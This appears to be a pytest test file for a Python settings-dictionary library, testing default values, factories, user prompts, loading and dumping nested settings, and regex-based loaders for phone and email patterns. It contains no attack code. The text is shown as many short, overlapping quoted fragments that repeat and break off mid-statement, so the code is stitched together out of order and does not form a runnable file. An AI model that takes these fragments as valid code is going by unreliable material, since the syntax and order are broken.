"\"patterns\": Settings( setting_loader=re.compile, setting_dumper=lambda x: x.pattern, data={ \"phone number pattern\":",
"@dataclass class Coords: x: int y: int def __init__(self, x_and_y:",
"\"b\" def test_Settings__is_using_json() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={",
"pytest.raises(KeyError): settings[\"key2\"] def test_default_settings() -> None: settings = Settings( settings_file_path=\"sample",
"\"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": Settings( settings_file_path=\"why would",
"Tuple[int, int]) -> None: self.x = x_and_y[0] self.y = x_and_y[1]",
"data={ \"location 1\": Coords(x_and_y=(1, 2)), \"location 2\": Coords(x_and_y=(3, 4)), \"patterns\":",
"(3, 4) assert settings_dict[\"patterns\"][\"phone number pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\" assert (",
"def __init__(self, x_and_y: Tuple[int, int]) -> None: self.x = x_and_y[0]",
"assert ( settings_dict[\"patterns\"][\"email address pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict) assert",
"settings file name.json\", prompt_user_for_all_settings=lambda: 1 / 0, default_factories={ \"key1\": lambda:",
"settings_dict[\"location 2\"] == (3, 4) assert settings_dict[\"patterns\"][\"phone number pattern\"] ==",
"pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"]",
"settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" settings[\"key1\"] = \"a\" settings.load(fallback_option=\"default",
"del settings[\"key1\"] del settings[\"key2\"] assert \"key1\" not in settings assert",
"Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", }, ) with",
"settings.load_from_dict( { \"key1\": \"c\", \"key2\": \"d\", } ) assert settings.data[\"key1\"]",
"x: x.pattern, data={ \"phone number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address pattern\":",
"x_and_y[1] settings = Settings( setting_loader=Coords, setting_dumper=lambda obj: (obj.x, obj.y), data={",
"Any: # s = input(\"Enter a setting: \") return \"a\"",
"real file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\",",
"\"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\", }, default_settings={ \"key3\": [],",
"= Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={ \"key1\":",
") assert settings[\"patterns\"][\"email address pattern\"] == re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def",
"settings.clear() assert settings[\"key1\"] == \"value1\" def test_prompt() -> None: def",
"def test_nested_setting_loaders_and_dumpers() -> None: @dataclass class Coords: x: int y:",
"with pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\") def test_load_after_empty() -> None: settings =",
"\"b\", } ) settings.load_from_dict( { \"key1\": \"c\", \"key2\": \"d\", }",
"== 0 settings = Settings( data={ \"key1\": \"a\", \"key2\": \"b\",",
"1 / 0, default_factories={ \"key1\": lambda: \"value1\", }, default_settings={ \"key1\":",
"Settings( settings_file_path=\"not a real file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\": lambda: \"value1\",",
"Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={ \"key1\": \"hello\",",
"lambda: \"value1\", }, data={ \"key1\": \"hello\", \"key2\": \"world\", }, )",
"def test_init_without_keywords() -> None: with pytest.raises(TypeError): Settings(\"sample settings file path.json\")",
"Coords(x_and_y=(1, 2)), \"location 2\": Coords(x_and_y=(3, 4)), \"patterns\": Settings( setting_loader=re.compile, setting_dumper=lambda",
"default_factories={ \"key1\": sample_prompt_function, \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\", },",
"x: int y: int def __init__(self, x_and_y: Tuple[int, int]) ->",
"\"world\", }, ) assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] ==",
"{\"key1\": \"a\", \"key2\": \"b\"}, default_factories={ \"key1\": sample_prompt_function, \"key2\": lambda: \"value2\",",
"an inner file though.yaml\", data={ \"key5\": \"value5\", }, ), },",
"settings = Settings( settings_file_path=\"sample settings file name.json\", default_factories={ \"key1\": lambda:",
"settings_file_path=\"not a real file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\": lambda: \"value1\", \"key2\":",
"None: settings = Settings() settings.load_from_dict( { \"key1\": \"hello\", \"key2\": \"world\",",
"settings[\"key3\"] == \"something\" settings.reset_all() assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"]",
"obj.y), data={ \"location 1\": Coords(x_and_y=(1, 2)), \"location 2\": Coords(x_and_y=(3, 4)),",
"\"key5\": \"value5\", }, ), }, ) assert settings.dump_to_dict() == {",
"number pattern\"] == re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert settings[\"patterns\"][\"email address pattern\"]",
"Tuple from dataclasses import dataclass from app_settings_dict import Settings def",
"\"c\" assert settings.data[\"key2\"] == \"d\" def test_dump_to_dict() -> None: settings",
"name.json\", default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\", \"key3\": lambda:",
"assert settings[\"key1\"] == \"hello\" settings[\"key1\"] = \"a\" settings.load(fallback_option=\"default settings\") assert",
"None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", },",
"settings[\"key2\"] == \"world\" assert settings[\"key3\"] == [] assert settings[\"key4\"] ==",
"== [] assert settings[\"key4\"] == \"value4\" with pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\")",
"\"key2\": \"world\", } ) assert len(settings.data) == 0 settings =",
"assert settings[\"key2\"] == \"b\" assert settings[\"key3\"] == \"value3\" with pytest.raises(KeyError):",
"}, ) with pytest.raises(KeyError): settings[\"key3\"] = \"value3\" def test_prompt_error() ->",
"= Settings( settings_file_path=\"not a real file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\": lambda:",
"assert settings[\"key3\"] == [] def test_load_without_file() -> None: def sample_prompt_function(settings:",
"= \"value3\" def test_prompt_error() -> None: settings = Settings( settings_file_path=\"nonexistent",
"lambda: \"value3\", }, default_settings={ \"key3\": [], }, data={ \"key1\": \"hello\",",
"data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings[\"key1\"] ==",
"== { \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": {",
"settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings.dump_to_dict()",
"\"value1\", \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\", }, default_settings={ \"key3\":",
"== \"hello\" assert settings[\"key2\"] == \"world\" del settings[\"key1\"] del settings[\"key2\"]",
"Coords(x_and_y=(3, 4)), \"patterns\": Settings( setting_loader=re.compile, setting_dumper=lambda x: x.pattern, data={ \"phone",
"\"key7\": Settings( data={ \"key8\": \"value8\", } ), }, data={ \"key1\":",
"self.y = x_and_y[1] settings = Settings( setting_loader=Coords, setting_dumper=lambda obj: (obj.x,",
"sample_prompt_function(settings: Settings) -> Settings: # s = input(\"Enter the settings:",
"\"key1\": \"hello\", \"key2\": \"world\", } def test_nested_Settings() -> None: settings",
"settings[\"key3\"] == \"value3\" settings.load(fallback_option=\"prompt user\") assert settings[\"key1\"] == \"a\" assert",
"# s = input(\"Enter a setting: \") return \"a\" settings",
"\"a\" settings = Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: {\"key1\":",
") settings.load_from_dict( { \"key1\": \"c\", \"key2\": \"d\", } ) assert",
"pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict) assert settings[\"location 1\"] == Coords(x_and_y=(1,",
"settings[\"key2\"] == \"world\" assert settings[\"key3\"] == \"value3\" settings.load(fallback_option=\"prompt user\") assert",
"settings[\"key1\"] == \"hello\" settings.prompt(\"key1\") assert settings[\"key1\"] == \"a\" def test_changing_settings_before_load()",
"== \"a\" def test_update() -> None: settings = Settings( settings_file_path=\"sample",
"default_factories={ \"key1\": lambda: \"value1\", }, data={ \"key1\": \"hello\", \"key2\": \"world\",",
"settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: 1 / 0, default_factories={ \"key1\":",
"= settings.dump_to_dict() assert settings_dict[\"location 1\"] == (1, 2) assert settings_dict[\"location",
"settings.update({\"key1\": \"a\", \"key2\": \"b\"}) settings = Settings( settings_file_path=\"not a real",
"settings.load_from_dict( { \"key1\": \"hello\", \"key2\": \"world\", } ) assert len(settings.data)",
"}, data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings[\"key1\"]",
"assert settings[\"key4\"] == \"value4\" settings.clear() settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] ==",
"settings._Settings__is_using_json() def test_load_from_dict() -> None: settings = Settings() settings.load_from_dict( {",
"settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"] == \"b\"",
"settings.reset_all() assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" assert",
"Settings( settings_file_path=\"sample settings file name.json\", default_factories={ \"key1\": lambda: \"value1\", },",
"settings file name.json\", default_factories={ \"key1\": lambda: \"value1\", }, default_settings={ \"key1\":",
"would anyone want an inner file though.yaml\", data={ \"key5\": \"value5\",",
"settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={ \"key1\": \"hello\", \"key2\":",
"None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\": [], \"key7\": Settings(",
"settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: {\"key1\": \"a\", \"key2\": \"b\"}, default_factories={",
"assert settings[\"key1\"] == \"a\" def test_update() -> None: settings =",
"[] assert settings[\"key4\"] == \"value4\" with pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\") def",
"pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\") def test_load_after_empty() -> None: settings = Settings(",
"None: def sample_prompt_function(settings: Settings) -> Settings: # s = input(\"Enter",
"default_settings={ \"key6\": [], \"key7\": Settings( data={ \"key8\": \"value8\", } ),",
"2) assert settings_dict[\"location 2\"] == (3, 4) assert settings_dict[\"patterns\"][\"phone number",
") assert settings[\"key1\"] == \"hello\" settings.clear() assert settings[\"key1\"] == \"value1\"",
"= Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: 1 / 0,",
"from dataclasses import dataclass from app_settings_dict import Settings def test_simple_settings()",
"default_settings={ \"key3\": [], \"key4\": \"value4\", }, data={ \"key1\": \"hello\", \"key2\":",
"pattern\"] == re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert settings[\"patterns\"][\"email address pattern\"] ==",
"= Settings( settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\": \"hello\", \"key2\": \"world\", }, )",
"not settings._Settings__is_using_json() def test_load_from_dict() -> None: settings = Settings() settings.load_from_dict(",
"= input(\"Enter a setting: \") return \"a\" settings = Settings(",
"settings assert \"key2\" not in settings assert settings[\"key1\"] == \"value1\"",
"name.json\", prompt_user_for_all_settings=lambda: 1 / 0, default_factories={ \"key1\": lambda: \"value1\", },",
"\"world\" del settings[\"key1\"] del settings[\"key2\"] assert \"key1\" not in settings",
"), }, ), }, ) settings_dict = settings.dump_to_dict() assert settings_dict[\"location",
"\"value3\" del settings[\"key3\"] assert settings[\"key3\"] == \"value3\" settings.reset(\"key3\") assert settings[\"key3\"]",
"int]) -> None: self.x = x_and_y[0] self.y = x_and_y[1] settings",
"settings file name.json\", prompt_user_for_all_settings=lambda: {\"key1\": \"a\", \"key2\": \"b\"}, default_factories={ \"key1\":",
"None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\": [], \"key2\": \"value2\",",
"settings[\"key3\"] == \"value3\" del settings[\"key3\"] assert settings[\"key3\"] == \"value3\" settings.reset(\"key3\")",
"\"value3\" def test_prompt_error() -> None: settings = Settings( settings_file_path=\"nonexistent file.json\",",
"\"key1\": \"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.update({\"key1\": \"a\"})",
"== \"d\" def test_dump_to_dict() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\",",
"sample_prompt_function() -> Any: # s = input(\"Enter a setting: \")",
"== re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert settings[\"patterns\"][\"email address pattern\"] == re.compile(",
"{ \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": { \"key5\":",
"file name.json\", default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\", \"key3\":",
"settings[\"key3\"] == [] assert settings[\"key4\"] == \"value4\" with pytest.raises(ValueError): settings.load(fallback_option=\"invalid",
"settings[\"key4\"] == \"value4\" with pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\") def test_load_after_empty() ->",
"None: settings = Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: 1",
"\"value3\" assert settings[\"key4\"] == \"value4\" settings.clear() settings.load(fallback_option=\"default settings\") assert settings[\"key1\"]",
"assert settings[\"key1\"] == \"a\" def test_changing_settings_before_load() -> None: settings =",
"\"key1\": [], }, data={ \"key1\": \"hello\", }, ) assert settings[\"key1\"]",
") settings.load_from_dict(settings_dict) assert settings[\"location 1\"] == Coords(x_and_y=(1, 2)) assert settings[\"location",
"assert settings[\"key1\"] == \"a\" assert settings[\"key2\"] == \"b\" assert settings[\"key3\"]",
"( settings_dict[\"patterns\"][\"email address pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict) assert settings[\"location",
"assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == [] def test_load_without_file()",
"assert len(settings.data) == 0 settings = Settings( data={ \"key1\": \"a\",",
"2)) assert settings[\"location 2\"] == Coords(x_and_y=(3, 4)) assert settings[\"patterns\"][\"phone number",
"-> None: def sample_prompt_function() -> Any: # s = input(\"Enter",
"self.x = x_and_y[0] self.y = x_and_y[1] settings = Settings( setting_loader=Coords,",
"assert settings[\"key1\"] == \"value1\" def test_prompt() -> None: def sample_prompt_function()",
"settings assert settings[\"key1\"] == \"value1\" with pytest.raises(KeyError): settings[\"key2\"] def test_default_settings()",
"== \"world\" assert settings[\"key3\"] == [] def test_load_without_file() -> None:",
"\"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": Settings( settings_file_path=\"why would anyone",
"== (3, 4) assert settings_dict[\"patterns\"][\"phone number pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\" assert",
"settings[\"location 2\"] == Coords(x_and_y=(3, 4)) assert settings[\"patterns\"][\"phone number pattern\"] ==",
"\"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\", },",
"assert settings[\"key1\"] == \"hello\" settings.clear() assert settings[\"key1\"] == \"value1\" def",
"= Settings( setting_loader=Coords, setting_dumper=lambda obj: (obj.x, obj.y), data={ \"location 1\":",
"r\"\\d{3}-?\\d{3}-?\\d{4}\" assert ( settings_dict[\"patterns\"][\"email address pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict)",
"== \"value3\" with pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] ==",
"\"hello\", \"key2\": \"world\", } ) assert len(settings.data) == 0 settings",
"settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", }, ) with pytest.raises(KeyError):",
"\"value4\" settings.clear() settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"]",
"r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def test_init_without_keywords() -> None: with pytest.raises(TypeError): Settings(\"sample settings",
"\"a\" assert settings[\"key2\"] == \"b\" assert settings[\"key3\"] == \"value3\" assert",
"\"hello\" settings.prompt(\"key1\") assert settings[\"key1\"] == \"a\" def test_changing_settings_before_load() -> None:",
"= Settings() settings.load_from_dict( { \"key1\": \"hello\", \"key2\": \"world\", } )",
"-> None: self.x = x_and_y[0] self.y = x_and_y[1] settings =",
"in settings assert \"key2\" not in settings assert settings[\"key1\"] ==",
"}, ) assert settings[\"key1\"] == \"hello\" settings.prompt(\"key1\") assert settings[\"key1\"] ==",
"data={ \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": Settings( settings_file_path=\"why",
"y: int def __init__(self, x_and_y: Tuple[int, int]) -> None: self.x",
"== { \"key1\": \"hello\", \"key2\": \"world\", } def test_nested_Settings() ->",
"None: settings = Settings( settings_file_path=\"sample settings file name.json\", default_factories={ \"key1\":",
"del settings[\"key3\"] assert settings[\"key3\"] == \"value3\" settings.reset(\"key3\") assert settings[\"key3\"] ==",
"settings_file_path=\"sample settings file name.json\", default_factories={ \"key1\": lambda: \"value1\", }, default_settings={",
"-> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\": [], \"key7\":",
"setting: \") return \"a\" settings = Settings( settings_file_path=\"sample settings file",
"test_load_without_file() -> None: def sample_prompt_function(settings: Settings) -> Settings: # s",
"\"d\", } ) assert settings.data[\"key1\"] == \"c\" assert settings.data[\"key2\"] ==",
"want an inner file though.yaml\", data={ \"key5\": \"value5\", }, ),",
"\"key2\" not in settings assert settings[\"key1\"] == \"value1\" with pytest.raises(KeyError):",
"settings[\"key2\"] == \"b\" assert settings[\"key3\"] == \"value3\" with pytest.raises(KeyError): settings[\"key4\"]",
"}, ) assert settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\": \"world\",",
"== \"hello\" settings.clear() assert settings[\"key1\"] == \"value1\" def test_prompt() ->",
") settings_dict = settings.dump_to_dict() assert settings_dict[\"location 1\"] == (1, 2)",
") with pytest.raises(KeyError): settings[\"key3\"] = \"value3\" def test_prompt_error() -> None:",
"default_settings={ \"key1\": [], }, data={ \"key1\": \"hello\", }, ) assert",
"from typing import Any, Tuple from dataclasses import dataclass from",
"int y: int def __init__(self, x_and_y: Tuple[int, int]) -> None:",
"x_and_y[0] self.y = x_and_y[1] settings = Settings( setting_loader=Coords, setting_dumper=lambda obj:",
"Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\": [], \"key7\": Settings( data={ \"key8\": \"value8\",",
"== \"value4\" settings.clear() settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" assert",
"== \"a\" assert settings[\"key2\"] == \"b\" assert settings[\"key3\"] == \"value3\"",
"input(\"Enter a setting: \") return \"a\" settings = Settings( settings_file_path=\"sample",
"not in settings assert \"key2\" not in settings assert settings[\"key1\"]",
"\"key3\": [], }, data={ \"key1\": \"hello\", \"key2\": \"world\", }, )",
"== \"hello\" settings[\"key1\"] = \"a\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] ==",
"import pytest import re from typing import Any, Tuple from",
"}, data={ \"key1\": \"hello\", }, ) assert settings[\"key1\"] == \"hello\"",
"4) assert settings_dict[\"patterns\"][\"phone number pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\" assert ( settings_dict[\"patterns\"][\"email",
"[], \"key7\": Settings( data={ \"key8\": \"value8\", } ), }, data={",
"import Any, Tuple from dataclasses import dataclass from app_settings_dict import",
"\"key1\": lambda: \"value1\", }, default_settings={ \"key1\": [], }, data={ \"key1\":",
"-> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\": \"hello\", \"key2\":",
"\"value3\" with pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\"",
"\"hello\", \"key2\": \"world\", }, ) assert settings[\"key1\"] == \"hello\" settings.prompt(\"key1\")",
"test_update() -> None: settings = Settings( settings_file_path=\"sample settings file name.json\",",
"\"key3\": lambda: \"value3\", }, default_settings={ \"key3\": [], \"key4\": \"value4\", },",
"def sample_prompt_function(settings: Settings) -> Settings: # s = input(\"Enter the",
"settings[\"key2\"] == \"world\" assert settings[\"key3\"] == [] def test_load_without_file() ->",
"assert settings[\"patterns\"][\"phone number pattern\"] == re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert settings[\"patterns\"][\"email",
"}, ) assert settings[\"key1\"] == \"hello\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"]",
"settings._Settings__is_using_json() settings.settings_file_path = \"sample_settings_file_name.yaml\" assert not settings._Settings__is_using_json() def test_load_from_dict() ->",
"== \"hello\" settings.prompt(\"key1\") assert settings[\"key1\"] == \"a\" def test_changing_settings_before_load() ->",
"re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def test_init_without_keywords() -> None: with pytest.raises(TypeError): Settings(\"sample",
"lambda: \"value1\", \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\", }, default_settings={",
"\"location 2\": Coords(x_and_y=(3, 4)), \"patterns\": Settings( setting_loader=re.compile, setting_dumper=lambda x: x.pattern,",
"Coords: x: int y: int def __init__(self, x_and_y: Tuple[int, int])",
"), }, ) assert settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\":",
"assert settings[\"key2\"] == \"b\" def test_Settings__is_using_json() -> None: settings =",
"[] settings[\"key3\"] = \"something\" assert settings[\"key3\"] == \"something\" settings.reset_all() assert",
"\"key6\": [], \"key7\": Settings( data={ \"key8\": \"value8\", } ), },",
"== \"value3\" settings.reset(\"key3\") assert settings[\"key3\"] == [] settings[\"key3\"] = \"something\"",
"-> None: settings = Settings( settings_file_path=\"nonexistent file.json\", default_settings={ \"key1\": [],",
"Settings( setting_loader=Coords, setting_dumper=lambda obj: (obj.x, obj.y), data={ \"location 1\": Coords(x_and_y=(1,",
"\"world\", \"key3\": \"value3\", \"key4\": { \"key5\": \"value5\", }, } def",
"pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), }, ), }, ) settings_dict =",
"4)), \"patterns\": Settings( setting_loader=re.compile, setting_dumper=lambda x: x.pattern, data={ \"phone number",
"def test_update() -> None: settings = Settings( settings_file_path=\"sample settings file",
"default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\",",
") assert len(settings.data) == 0 settings = Settings( data={ \"key1\":",
"= \"a\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" def test_update()",
"None: @dataclass class Coords: x: int y: int def __init__(self,",
") with pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\") def test_nested_setting_loaders_and_dumpers() -> None: @dataclass",
"assert settings[\"key3\"] == \"value3\" del settings[\"key3\"] assert settings[\"key3\"] == \"value3\"",
"[], \"key4\": \"value4\", }, data={ \"key1\": \"hello\", \"key2\": \"world\", },",
"\"hello\", \"key2\": \"world\", } def test_nested_Settings() -> None: settings =",
"assert settings[\"key1\"] == \"hello\" settings.prompt(\"key1\") assert settings[\"key1\"] == \"a\" def",
"\"key2\": \"d\", } ) assert settings.data[\"key1\"] == \"c\" assert settings.data[\"key2\"]",
"settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" def test_update() -> None:",
"\"something\" assert settings[\"key3\"] == \"something\" settings.reset_all() assert settings[\"key1\"] == \"hello\"",
"\"key1\": \"a\", \"key2\": \"b\", } ) settings.load_from_dict( { \"key1\": \"c\",",
"number pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\" assert ( settings_dict[\"patterns\"][\"email address pattern\"] ==",
"file name.json\", prompt_user_for_all_settings=lambda: {\"key1\": \"a\", \"key2\": \"b\"}, default_factories={ \"key1\": sample_prompt_function,",
"\"world\" assert settings[\"key3\"] == [] assert settings[\"key4\"] == \"value4\" with",
"\"key2\": \"b\", } ) settings.load_from_dict( { \"key1\": \"c\", \"key2\": \"d\",",
"\"b\" assert settings[\"key3\"] == \"value3\" with pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default settings\")",
"\"hello\" settings[\"key1\"] = \"a\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\"",
"= x_and_y[1] settings = Settings( setting_loader=Coords, setting_dumper=lambda obj: (obj.x, obj.y),",
"\"world\", }, ) assert settings[\"key1\"] == \"hello\" settings.prompt(\"key1\") assert settings[\"key1\"]",
"= x_and_y[0] self.y = x_and_y[1] settings = Settings( setting_loader=Coords, setting_dumper=lambda",
"}, default_settings={ \"key3\": [], }, data={ \"key1\": \"hello\", \"key2\": \"world\",",
"== \"b\" def test_Settings__is_using_json() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\",",
"\"key1\": \"hello\", \"key2\": \"world\", } ) assert len(settings.data) == 0",
"lambda: \"value1\", }, default_settings={ \"key1\": [], }, data={ \"key1\": \"hello\",",
"settings[\"key2\"] == \"world\" del settings[\"key1\"] del settings[\"key2\"] assert \"key1\" not",
"settings[\"key1\"] == \"a\" assert settings[\"key2\"] == \"b\" assert settings[\"key3\"] ==",
"{ \"key1\": \"hello\", \"key2\": \"world\", } ) assert len(settings.data) ==",
"assert settings.data[\"key2\"] == \"d\" def test_dump_to_dict() -> None: settings =",
"anyone want an inner file though.yaml\", data={ \"key5\": \"value5\", },",
"\"key2\": \"world\", }, ) assert settings.dump_to_dict() == { \"key1\": \"hello\",",
"}, data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings._Settings__is_using_json()",
"\"world\" assert settings[\"key3\"] == [] def test_load_without_file() -> None: def",
"settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", },",
"== \"world\" assert settings[\"key3\"] == [] assert settings[\"key4\"] == \"value4\"",
"typing import Any, Tuple from dataclasses import dataclass from app_settings_dict",
") def test_init_without_keywords() -> None: with pytest.raises(TypeError): Settings(\"sample settings file",
"\"key2\": \"world\", } def test_nested_Settings() -> None: settings = Settings(",
"r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), }, ), }, ) settings_dict = settings.dump_to_dict() assert",
"== r\"\\d{3}-?\\d{3}-?\\d{4}\" assert ( settings_dict[\"patterns\"][\"email address pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" )",
"data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings.dump_to_dict() ==",
"\"key2\": \"world\", \"key3\": \"value3\", \"key4\": { \"key5\": \"value5\", }, }",
"settings_dict[\"patterns\"][\"email address pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict) assert settings[\"location 1\"]",
"settings[\"key1\"] == \"a\" def test_update() -> None: settings = Settings(",
"\") return settings.update({\"key1\": \"a\", \"key2\": \"b\"}) settings = Settings( settings_file_path=\"not",
"\"key2\": \"value2\", }, ) with pytest.raises(KeyError): settings[\"key3\"] = \"value3\" def",
"\"hello\", \"key2\": \"world\", }, ) assert settings._Settings__is_using_json() settings.settings_file_path = \"sample_settings_file_name.yaml\"",
"\"value1\" with pytest.raises(KeyError): settings[\"key2\"] def test_default_settings() -> None: settings =",
"\"key3\": \"value3\", \"key4\": Settings( settings_file_path=\"why would anyone want an inner",
"re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert settings[\"patterns\"][\"email address pattern\"] == re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\"",
"pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), }, ),",
"def test_Settings__is_using_json() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\":",
"Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: 1 / 0, default_factories={",
"file name.json\", prompt_user_for_all_settings=lambda: 1 / 0, default_factories={ \"key1\": lambda: \"value1\",",
"test_prompt() -> None: def sample_prompt_function() -> Any: # s =",
"} ) assert len(settings.data) == 0 settings = Settings( data={",
"in settings assert settings[\"key1\"] == \"value1\" with pytest.raises(KeyError): settings[\"key2\"] def",
"\"key1\": \"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.clear() assert",
"settings[\"key3\"] == \"value3\" with pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default settings\") assert settings[\"key1\"]",
"x_and_y: Tuple[int, int]) -> None: self.x = x_and_y[0] self.y =",
"\"a\" assert settings[\"key2\"] == \"b\" assert settings[\"key3\"] == \"value3\" with",
"data={ \"key8\": \"value8\", } ), }, data={ \"key1\": \"hello\", \"key2\":",
"\"value1\", }, default_settings={ \"key1\": [], }, data={ \"key1\": \"hello\", },",
"data={ \"key1\": \"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.clear()",
"default_settings={ \"key3\": [], }, data={ \"key1\": \"hello\", \"key2\": \"world\", },",
"settings\") assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" assert",
"assert \"key2\" not in settings assert settings[\"key1\"] == \"value1\" with",
"\"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings._Settings__is_using_json() settings.settings_file_path =",
